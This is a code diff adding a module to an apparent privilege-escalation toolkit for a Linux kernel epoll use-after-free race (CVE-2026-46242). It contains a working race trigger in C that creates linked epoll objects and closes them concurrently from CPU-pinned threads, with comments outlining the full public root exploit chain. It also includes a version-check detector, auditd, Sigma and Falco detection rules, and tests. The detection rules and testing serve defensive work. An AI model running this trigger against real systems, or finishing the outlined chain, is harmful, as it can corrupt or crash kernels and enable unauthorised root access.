SKELETONKEY module + * + * CVE-2026-46242 โ€” "Bad Epoll", a race-condition use-after-free in the + * Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown + * path, ep_remove() clears file->f_ep under file->f_lock but keeps + * *using* the file inside the critical section (the hlist_del_rcu() over + * the eventpoll's refs list + spin_unlock). A concurrent __fput() of a + * linked epoll file can observe the transient NULL f_ep, skip + * eventpoll_release_file(), and go straight to f_op->release โ€” freeing a + * struct eventpoll that the first path is still walking. The result is a + * UAF on a live kernel object reachable by ANY unprivileged local user: + * epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user + * namespace, and no special CONFIG (epoll is always built in). That is + * what makes it nasty โ€” there is no unprivileged-userns stopgap to close + * the way there is for the netfilter bugs; the only fix is to patch. + * + * Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted + * to Google's kernelCTF: four epoll objects in two pairs โ€” one pair + * drives the race, the other is the victim โ€” turn the 8-byte UAF write + * into control of a struct file via a cross-cache attack, then arbitrary + * kernel read via /proc/self/fdinfo and a ROP chain to a root shell. + * ~99% reliable despite a race window only ~6 instructions wide; it + * rarely trips KASAN, which is precisely why the bug hid for three + * years. + * + * CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit + * 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit + * a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1, + * 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new). + * + * STATUS: ๐ŸŸก TRIGGER (reconstructed) โ€” primitive-only, NOT VM-verified. + * This is a genuine SMP kernel race that, if *won*, frees a live + * struct eventpoll โ€” real memory corruption that (per the public + * analysis) rarely trips KASAN, so a won-but-not-completed race can + * silently destabilise a vulnerable host rather than cleanly oops. + * For that reason this module is deliberately UNDER-DRIVEN: exploit() + * builds the epoll object graph and exercises the concurrent-close + * window (ep_remove vs __fput) a small, bounded number of times inside + * a fork-isolated child, snapshots the eventpoll slab, and STOPS. It + * does NOT grind the race to a win, does NOT perform the cross-cache + * reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read + + * ROP that lands root (per-build offsets refused). It returns + * EXPLOIT_FAIL and never claims root it did not get. The trigger is + * reconstructed from the public kernelCTF PoC, not VM-verified. This + * is why it carries the lowest safety rank in --auto (a kernel race is + * the least predictable class; see skeletonkey.c module_safety_rank). + * + * detect() is a pure version gate: vulnerable iff the running kernel is + * >= 6.4 (the commit that introduced the bug) AND below the fix on its + * branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected โ€” + * vulnerable code not present"; trixie/6.12 still vulnerable at time of + * writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG + * precondition โ€” any unprivileged user can reach it. + * + * Affected range (Debian security tracker, source of record): + * introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1 + * (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had + * not landed at time of writing โ†’ version-only VULNERABLE there + * (tools/refresh-kernel-ranges.py will extend the table as distros + * publish). 6.1 and older predate the bug. + * + * arch_support: x86_64 (the cross-cache groom + any future finisher are + * x86_64-tuned; detect() and the reachability trigger are arch-neutral + * but we only claim x86_64 for exploit()). + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include + +#ifdef __linux__ + +#include "../../core/kernel_range.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ------------------------------------------------------------------ + * Kernel-range table. The fix landed mainline in 7.1-rc1 + * (a6dc643c6931); the only stable backport that had shipped at time of + * writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single + * {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient: + * kernel_range_is_patched() treats any branch strictly newer than every + * entry (i.e. 7.1+) as patched-via-mainline, and every branch at or + * below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still + * vulnerable โ€” which is exactly the Debian tracker's verdict. Add + * 6.6.x / 6.12.x entries here when those LTS backports land (the drift + * checker flags them). security-tracker.debian.org is the source. + * ------------------------------------------------------------------ */ +static const struct kernel_patched_from bad_epoll_patched_branches[] = { + {7, 0, 13}, /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */ +}; + +static const struct kernel_range bad_epoll_range = { + .patched_from = bad_epoll_patched_branches, + .n_patched_from = sizeof(bad_epoll_patched_branches) / + sizeof(bad_epoll_patched_branches[0]), +}; + +static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx) +{ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) + fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel " + "version โ€” bailing\n"); + return SKELETONKEY_TEST_ERROR; + } + + /* The vulnerable ep_remove()/__fput() interleaving was introduced by + * commit 58c9b016e128 in 6.4. Below that the code pattern is absent + * (Debian marks bookworm/6.1 and bullseye/5.10 "not affected โ€” + * vulnerable code not present"). */ + if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) { + if (!ctx->json) + fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable " + "epoll teardown path (introduced 6.4) โ€” not affected\n", + v->release); + return SKELETONKEY_OK; + } + + if (kernel_range_is_patched(&bad_epoll_range, v)) { + if (!ctx->json) + fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / " + "7.1+ inherits the mainline fix)\n", v->release); + return SKELETONKEY_OK; + } + + if (!ctx->json) { + fprintf(stderr, "[!] bad_epoll: VULNERABLE โ€” kernel %s in range " + "[6.4, fix); epoll teardown race reachable by any " + "unprivileged user (no userns / CONFIG gate)\n", + v->release); + fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies " + "here โ€” the only fix is to patch the kernel\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* ------------------------------------------------------------------ + * Reconstructed reachability trigger (deliberately under-driven). + * + * Faithful minimal shape of the public PoC's race pair: a "waiter" + * epoll watches a "target" epoll; the two are then closed concurrently + * from CPU-pinned contexts so ep_remove() (driven by fput of the + * watched target) races __fput() of the waiter eventpoll. The PoC + * widens the ~6-instruction window with close(dup(target)) storms that + * induce false-sharing on the file's f_count cache line and stall the + * racer's read of f_op. + * + * We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a + * small iteration + wall-clock budget, then stop. We do NOT reclaim the + * freed slab, do NOT run the depth-3 nesting oracle that only fires + * after a real UAF write, and do NOT weaponise. The honest witness is + * therefore coarse: a signal in the isolated child (a KASAN oops or + * corruption fault, if the race happened to fire) and an eventpoll-slab + * delta. Absence of a witness does NOT prove the host is safe. + * ------------------------------------------------------------------ */ +#define BEP_RACE_ITERS 48 /* bounded โ€” reachability probe, not a winner */ +#define BEP_DUP_CLOSE_ITERS 32 /* window-widening false-sharing storm */ +#define BEP_RACE_BUDGET_SECS 2 /* honest short cap (public PoC uses 5 min) */ + +static void bep_pin_cpu(int cpu) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + (void)sched_setaffinity(0, sizeof set, &set); /* best-effort */ +} + +struct bep_racer { + int waiter_fd; /* fd the racer closes */ + atomic_int *go; /* fire signal from main */ + atomic_int *closed; /* set once the racer has closed */ +}; + +static void *bep_racer_fn(void *arg) +{ + struct bep_racer *r = (struct bep_racer *)arg; + bep_pin_cpu(0); + /* Spin until main is at the close point, then race. */ + while (atomic_load_explicit(r->go, memory_order_acquire) == 0) + ; + close(r->waiter_fd); + atomic_store_explicit(r->closed, 1, memory_order_release); + return NULL; +} + +static long bep_slabinfo_active(const char *slab) +{ + FILE *f = fopen("/proc/slabinfo", "r"); + if (!f) return -1; + char line[512]; + long active = -1; + size_t n = strlen(slab); + while (fgets(line, sizeof line, f)) { + if (strncmp(line, slab, n) == 0 && line[n] == ' ') { + long a; + if (sscanf(line + n, " %ld", &a) == 1) active = a; + break; + } + } + fclose(f); + return active; +} + +/* One race attempt: build (target, waiter) with waiter watching target, + * then close both concurrently. Returns 0 normally; the interesting + * outcome (a won race) manifests as a signal that the parent observes, + * not a return value. */ +static void bep_one_attempt(void) +{ + int target = epoll_create1(EPOLL_CLOEXEC); + if (target < 0) return; + int waiter = epoll_create1(EPOLL_CLOEXEC); + if (waiter < 0) { close(target); return; } + + /* waiter watches target โ€” this is the link that makes closing target + * drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */ + struct epoll_event ev = { .events = EPOLLIN }; + ev.data.fd = target; + if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) { + close(waiter); close(target); return; + } + + atomic_int go = 0, closed = 0; + struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed }; + pthread_t th; + if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) { + close(waiter); close(target); return; + } + + /* Widen the window: false-sharing storm on target's f_count line, + * then release the racer and close target ourselves so ep_remove + * (our fput of the watched file) overlaps __fput of the waiter. */ + for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) { + int d = dup(target); + if (d >= 0) close(d); + } + atomic_store_explicit(&go, 1, memory_order_release); + close(target); + + pthread_join(th, NULL); +} + +static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx) +{ + skeletonkey_result_t pre = bad_epoll_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n"); + return pre; + } + bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); + if (is_root) { + fprintf(stderr, "[i] bad_epoll: already running as root\n"); + return SKELETONKEY_OK; + } + + if (!ctx->json) + fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe โ€” builds " + "the epoll race pair and exercises the ep_remove vs __fput " + "close window (%d bounded attempts, %ds cap), then stops. " + "The cross-cache โ†’ struct file control โ†’ fdinfo arb-read โ†’ " + "ROP root-pop is NOT bundled.\n", + BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS); + + /* Fork-isolated: a won race frees a live struct eventpoll. On a + * KASAN kernel that oopses (contained to the child); on a plain + * vulnerable kernel it may corrupt โ€” which is exactly why we bound + * the attempt count hard and never reclaim. */ + pid_t child = fork(); + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } + + if (child == 0) { + bep_pin_cpu(1); + long before = bep_slabinfo_active("eventpoll"); + if (before < 0) before = bep_slabinfo_active("kmalloc-192"); + + time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS; + int done = 0; + for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) { + bep_one_attempt(); + done = i + 1; + } + + long after = bep_slabinfo_active("eventpoll"); + if (after < 0) after = bep_slabinfo_active("kmalloc-192"); + if (!ctx->json) + fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; " + "eventpoll/kmalloc-192 active: %ld โ†’ %ld\n", + done, before, after); + _exit(100); /* honest: window exercised, race not driven to a win */ + } + + int status; + waitpid(child, &status, 0); + if (WIFSIGNALED(status)) { + if (!ctx->json) + fprintf(stderr, "[!] bad_epoll: child died by signal %d โ€” the epoll " + "teardown race may have fired (KASAN oops / corruption " + "fault). This is the bug, but no root was obtained.\n", + WTERMSIG(status)); + return SKELETONKEY_EXPLOIT_FAIL; + } + if (WIFEXITED(status) && WEXITSTATUS(status) == 100) { + if (!ctx->json) { + fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed " + "primitive). Full chain is NOT bundled and the trigger " + "is not VM-verified โ€” honest EXPLOIT_FAIL.\n"); + fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF " + "cross-cache reclaim (eventpoll slab โ†’ pipe buffers) + " + "/proc/self/fdinfo arbitrary read + ROP for " + "CVE-2026-46242.\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; + } + if (!ctx->json) + fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + return SKELETONKEY_EXPLOIT_FAIL; +} + +#else /* !__linux__ */ + +static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) + fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race " + "UAF) โ€” not applicable here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] bad_epoll: Linux-only module โ€” cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +} + +#endif /* __linux__ */ + +/* ----- Embedded detection rules ----- + * + * Honesty note (see MODULE.md): epoll is one of the most heavily used + * kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an + * unprivileged process is the steady-state behaviour of nginx, systemd, + * every language runtime's event loop, etc. There is NO clean behavioural + * signature for this exploit, and it rarely trips KASAN. These rules are + * therefore intentionally weak/structural โ€” the reliable signal is the + * post-exploitation privilege transition, not the epoll traffic. Tune + * hard or you will drown in false positives. + */ +static const char bad_epoll_auditd[] = + "# Bad Epoll โ€” epoll teardown race UAF (CVE-2026-46242) โ€” auditd rules\n" + "# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n" + "# are ubiquitous and benign. The only reliable smoking gun is an\n" + "# unprivileged process transitioning to euid 0 without going through a\n" + "# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n" + "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n" + "-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"; + +static const char bad_epoll_sigma[] = + "title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n" + "id: 7c1e9d2a-skeletonkey-bad-epoll\n" + "status: experimental\n" + "description: |\n" + " Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n" + " by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n" + " no reliable syscall-level signature โ€” epoll traffic is ubiquitous and\n" + " the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n" + " tell: a previously-unprivileged process gaining euid 0 with no setuid\n" + " execve in its ancestry. Expect false positives from legitimate\n" + " privilege-management daemons; correlate with kernel oops/BUG lines.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n" + " unpriv: {auid|expression: '>= 1000'}\n" + " condition: uid0 and unpriv\n" + "level: medium\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n"; + +static const char bad_epoll_falco[] = + "- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n" + " desc: |\n" + " Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n" + " behavioural signature โ€” epoll syscalls are ubiquitous. This rule\n" + " fires on the post-exploitation effect: a non-root process becoming\n" + " root outside a setuid binary. False positives: privilege-management\n" + " daemons, su/sudo flows (filter those). Correlate with kernel oops.\n" + " condition: >\n" + " evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n" + " not proc.is_setuid = true and user.uid != 0\n" + " output: >\n" + " Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n" + " (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n" + " priority: WARNING\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n"; + +const struct skeletonkey_module bad_epoll_module = { + .name = "bad_epoll", + .cve = "CVE-2026-46242", + .summary = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") โ€” frees a live struct eventpoll; unprivileged, no userns needed", + .family = "eventpoll", + .kernel_range = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected", + .detect = bad_epoll_detect, + .exploit = bad_epoll_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel โ€” no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */ + .cleanup = NULL, /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */ + .detect_auditd = bad_epoll_auditd, + .detect_sigma = bad_epoll_sigma, + .detect_yara = NULL, /* pure in-kernel race โ€” no file artifact to match */ + .detect_falco = bad_epoll_falco, + .opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) โ€” no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity โ€” see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.", + .arch_support = "x86_64", +}; + +void skeletonkey_register_bad_epoll(void) +{ + skeletonkey_register(&bad_epoll_module); +} diff --git a/modules/bad_epoll_cve_2026_46242/skeletonkey_modules.h b/modules/bad_epoll_cve_2026_46242/skeletonkey_modules.h new file mode 100644 index 0000000..d160320 --- /dev/null +++ b/modules/bad_epoll_cve_2026_46242/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * bad_epoll_cve_2026_46242 โ€” SKELETONKEY module registry hook + */ + +#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H +#define BAD_EPOLL_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module bad_epoll_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index dc36d2b..4f20fd3 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -35,7 +35,7 @@ #include #include -#define SKELETONKEY_VERSION "0.9.11" +#define SKELETONKEY_VERSION "0.9.12" static const char BANNER[] = "\n" @@ -1021,6 +1021,7 @@ static int module_safety_rank(const char *n) if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */ + if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified โ€” least predictable in the corpus */ if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */ return 50; /* kernel primitives โ€” middle of pack */ } diff --git a/tests/test_detect.c b/tests/test_detect.c index be105ee..a51c3ce 100644 --- a/tests/test_detect.c +++ b/tests/test_detect.c @@ -72,6 +72,7 @@ extern const struct skeletonkey_module ptrace_pidfd_module; extern const struct skeletonkey_module sudo_host_module; extern const struct skeletonkey_module cifswitch_module; extern const struct skeletonkey_module nft_catchall_module; +extern const struct skeletonkey_module bad_epoll_module; static int g_pass = 0; static int g_fail = 0; @@ -891,6 +892,49 @@ static void run_all(void) &nft_catchall_module, &h_nca_nouserns, SKELETONKEY_PRECOND_FAIL); + /* โ”€โ”€ bad_epoll (CVE-2026-46242) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + * Pure version gate: vulnerable iff >= 6.4 (bug introduced + * 58c9b016e128) AND below the fix on-branch (stable backport + * 7.0.13; 7.1+ inherits via mainline). NO userns/CONFIG + * precondition โ€” epoll is reachable by every unprivileged user, so + * there is deliberately no PRECOND_FAIL path to test. userns state + * of the base host is irrelevant here. */ + + /* 6.1.100 predates the vulnerable epoll path (introduced 6.4) โ†’ OK */ + struct skeletonkey_host h_bep_61 = + mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test"); + run_one("bad_epoll: 6.1.100 predates the bug (introduced 6.4) โ†’ OK", + &bad_epoll_module, &h_bep_61, + SKELETONKEY_OK); + + /* 6.12.70 in range [6.4, 7.0.13) โ†’ VULNERABLE (no userns needed) */ + struct skeletonkey_host h_bep_61270 = + mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test"); + run_one("bad_epoll: 6.12.70 in range โ†’ VULNERABLE (no userns gate)", + &bad_epoll_module, &h_bep_61270, + SKELETONKEY_VULNERABLE); + + /* 7.0.5 on the 7.0 branch, below the 7.0.13 backport โ†’ VULNERABLE */ + struct skeletonkey_host h_bep_705 = + mk_host(h_kernel_6_12, 7, 0, 5, "7.0.5-test"); + run_one("bad_epoll: 7.0.5 below the 7.0.13 backport โ†’ VULNERABLE", + &bad_epoll_module, &h_bep_705, + SKELETONKEY_VULNERABLE); + + /* 7.0.13 exact backport โ†’ OK via patch table */ + struct skeletonkey_host h_bep_70130 = + mk_host(h_kernel_6_12, 7, 0, 13, "7.0.13-test"); + run_one("bad_epoll: 7.0.13 (exact backport) โ†’ OK via patch table", + &bad_epoll_module, &h_bep_70130, + SKELETONKEY_OK); + + /* 7.1.0 newer than every entry โ†’ mainline-inherited fix โ†’ OK */ + struct skeletonkey_host h_bep_710 = + mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test"); + run_one("bad_epoll: 7.1.0 above the backport โ†’ OK (mainline inherit)", + &bad_epoll_module, &h_bep_710, + SKELETONKEY_OK); + /* โ”€โ”€ coverage report โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ * Iterate the runtime registry (populated by skeletonkey_register_* * calls in main()) and warn for any module that was not touched diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index b7cf5f4..5e3d6ff 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -324,3 +324,12 @@ nft_catchall: kernel_version: "6.1.163" expect_detect: VULNERABLE notes: "CVE-2026-23111; nf_tables nft_map_catchall_activate abort-path UAF (inverted '!'). Public reproduction by FuzzingLabs; fixed upstream f41c5d1, Debian backports 6.1.164 (bookworm) / 6.12.73 (trixie) / 6.18.10 (sid); 5.10/bullseye still unfixed. detect() version-gates (catch-all set elements ~5.13; thresholds 6.1.164/6.12.73/6.18.10) AND requires unprivileged user_ns clone โ€” a vulnerable kernel with userns locked (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes nft_chain/cg-256 slabinfo, returns EXPLOIT_FAIL (primitive-only). The per-kernel leak + R/W + modprobe_path ROP is NOT bundled, and the trigger is RECONSTRUCTED from public analysis โ€” NOT yet VM-verified. Provisioner: ensure unprivileged userns enabled (sysctl kernel.unprivileged_userns_clone=1 / drop apparmor restriction). A KASAN kernel will oops on a real fire; sweep + trigger validation pending." + +# โ”€โ”€ bad_epoll (CVE-2026-46242) addition โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +bad_epoll: + box: ubuntu2404 + kernel_pkg: "" + kernel_version: "6.8.0-generic" # >= 6.4 (bug introduced 58c9b016e128) and below the 7.0.13 backport โ†’ VULNERABLE by version + expect_detect: VULNERABLE + notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate โ€” no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN โ†’ possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC โ€” NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot โ€” even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."